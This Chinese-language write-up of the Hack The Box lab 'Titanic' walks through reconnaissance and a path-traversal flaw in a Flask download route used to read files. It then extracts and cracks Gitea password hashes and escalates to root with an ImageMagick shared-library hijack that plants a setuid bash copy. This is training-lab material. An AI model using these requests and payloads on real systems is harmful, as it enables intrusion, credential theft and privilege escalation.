Titanic

Pasted image 20250803225314.png

1. 立足点&User

1.1. 信息收集

1.1.1. 端口扫描

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# nmap 10.10.11.55 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:53 EDT
Warning: 10.10.11.55 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.55
Host is up (0.14s latency).
Not shown: 62887 closed tcp ports (reset), 2646 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 43.19 seconds

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# nmap 10.10.11.55 -p 22,80 -sCV     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:55 EDT
Nmap scan report for Titanic.htb (10.10.11.55)
Host is up (0.064s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-title: Titanic - Book Your Ship Trip
|_Requested resource was http://titanic.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds

1.1.2. 目录扫描

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# dirsearch -u http://titanic.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/htb/Titanic/reports/http_titanic.htb/__25-08-03_10-57-26.txt

Target: http://titanic.htb/

[10:57:26] Starting: 
[10:58:01] 405 -  153B  - /book
[10:58:14] 400 -   41B  - /download
[10:58:48] 403 -  276B  - /server-status/
[10:58:48] 403 -  276B  - /server-status

Task Completed

1.1.3. 子域名爆破

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# ffuf -u http://titanic.htb/ -H "host: FUZZ.Titanic.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.Titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

`dev`                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 239ms]
:: Progress: [4989/4989] :: Job [1/1] :: 402 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

1.1.4. gitea泄露

访问dev.titanic.htb,注册账号登录即可获取到仓库的相关信息
Pasted image 20250803230759.png

mysql 密码
Pasted image 20250803230822.png

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

1.1.5. flask app.py 目录遍历

仓库里面也泄露了app.py的代码

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

值得注意的是 /download 这个路由,他接受一个 ticket 参数,这个参数会与 TICKETS_DIR 一起拼接成为一个绝对路径,然后返回这个路径的文件

Pasted image 20250803231935.png

这里可以直接读取到 user.txt

GET /download?ticket=../../../../../home/developer/user.txt HTTP/1.1
Host: titanic.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0

1.1.6. 目录遍历

目前可以获取到user.txt,但是还是没有能获取到一个shell.
我刚刚获取到了一个数据库密码,尝试登录 developer 用户

但是失败了,这不是此用户的密码

那我们只能尝试读取一些其他的配置文件了

在gitea仓库中的 docker-compose.yml 中 我发现了容器卷的映射关系

volumes:
      - /home/developer/gitea/data:/data

你可以从 Gitea文档中获取到相关有用的信息
Pasted image 20250803232920.png

这里描述的自定义文件应放置在 /data/gitea 目录中。如果使用主机卷,访问这些文件非常简单;对于命名卷,这是通过另一个容器或通过直接访问 /var/lib/docker/volumes/gitea_gitea/_data 完成的。安装后,配置文件将保存在 /data/gitea/conf/app.ini

尝试读取这个 app.ini

GET /download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0


这里面泄露了一个数据库文件路径
Pasted image 20250803233403.png
获取这个数据库文件
Pasted image 20250803233542.png
可以获取到很长的hash密码

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'|wc -c
100

长度为100位,显然这不是hashcat可以识别的hash,也无法进行爆破

1.1.7. Gitea hash crack

这种hash是Gtiea对原hash进行加密后的结果,0xdf有一篇文章 中讲到了这种hash的破解

┌──(root㉿kali)-[~/Desktop/htb/Titanic]
└─# sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
admin1:sha256:50000:X6RgwstXIEX7jnMJ3aJLIg==:rB52rE+dehupXcRVSs9zVZ25veRXJLVWlc/HE+zzwR1+XtuI1/rZbtid7pzoAG0qQSU=
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user

Pasted image 20250803235420.png
可以破解出 developer 用户的密码

2. root

2.1. 信息收集

2.1.1. linpeas

Pasted image 20250804000411.png
给了一个高亮的路径,但是这并没有什么用

2.1.2. pspy64

我又尝试使用pspy64进行观察
但是我发现pspy失效了,没有平时那么好用
Pasted image 20250804000901.png
它竟然只能看到当前用户的进程,看不到root的进程

2.1.3. 无法查看到其他用户的进程

我尝试使用ps -aux看一下
确实只有当前用户的进程,没有其他用户(包括root)的进程
Pasted image 20250804001008.png

Warning

后面了解到这是因为 /proc 被挂载时设置了 hidepid 选项,使其不可见

#developer@titanic:/tmp$ mount | grep "/proc "
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,`hidepid=invisible`)

2.1.4. 定时任务

它越是这样,越让我确信这里肯定是有一个定时任务的,
我在 /opt 目录下发现了有趣的 .sh 文件

#developer@titanic:/opt/scripts$ ls -l
total 4
-rwxr-xr-x 1 root root 167 Feb  3 17:11 identify_images.sh

它是root所有的,但是我可以查看

identify_images.sh

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

metadata.log 里面是一些图片的日志

#developer@titanic:/opt/app/static/assets/images$ cat metadata.log 
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.001
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000

如果你够细心,你会发现这个文件每分钟都会被修改
Pasted image 20250804001818.png
那么很可能每分钟都会运行一次那个 identify_images.sh

观察 identify_images.sh
你会发现里面大概率存在漏洞的是 magick
先看一下版本

#developer@titanic:/opt/app/static/assets/images$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

然后搜索对应的关键词
Pasted image 20250804002243.png

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
__attribute__((constructor)) void init(){  
system("cp /bin/bash /tmp/exp;chmod +s /tmp/exp");  
exit(0);  
}  
EOF
magic home.jpg  /dev/null

Pasted image 20250804003015.png